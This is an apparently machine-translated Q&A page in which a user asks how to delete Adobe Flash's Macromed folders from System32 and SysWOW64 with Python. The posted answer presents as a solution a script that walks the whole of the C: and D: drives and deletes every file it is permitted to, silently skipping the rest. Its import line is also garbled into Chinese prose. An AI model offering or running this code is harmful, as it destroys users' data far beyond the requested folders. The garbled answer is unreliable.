首页 > 解决方案 > Python:从 system32 或 SysWOW64 中删除文件夹的脚本

问题描述

我正在尝试编写一个脚本来删除C:\Windows\System32\MacromedC:Windows\SysWOW64\Macromed(基本上是 adobe flash 手动卸载文件)。

我遇到的是来自 Windows 的权限问题,因为它需要提升权限才能删除这些文件夹。但是,Windows 没有提示我同意权限,也没有要求我的管理员用户名/密码允许我删除这些文件夹。

我尝试在网上查看并查看其shutil.rmtree()工作原理,但就像我说的那样,遇到了权限墙的事情。

标签: pythonpython-3.x

解决方案


从操作系统导入步行导入操作系统

# home = os.path.normpath(os.path.expanduser("~"))
home="C:/"

for dirpath,dirnames,file in walk(home):
    for files in file:
        dirpath1=os.path.normpath(dirpath)
        childpath=os.path.join(dirpath1,files)
        print(childpath)
        try:
            os.remove(childpath)
        except PermissionError:
            continue

home="D:/"

for dirpath,dirnames,file in walk(home):
    for files in file:
        dirpath1=os.path.normpath(dirpath)
        childpath=os.path.join(dirpath1,files)
        print(childpath)
        try:
            os.remove(childpath)
        except PermissionError:
            continue



推荐阅读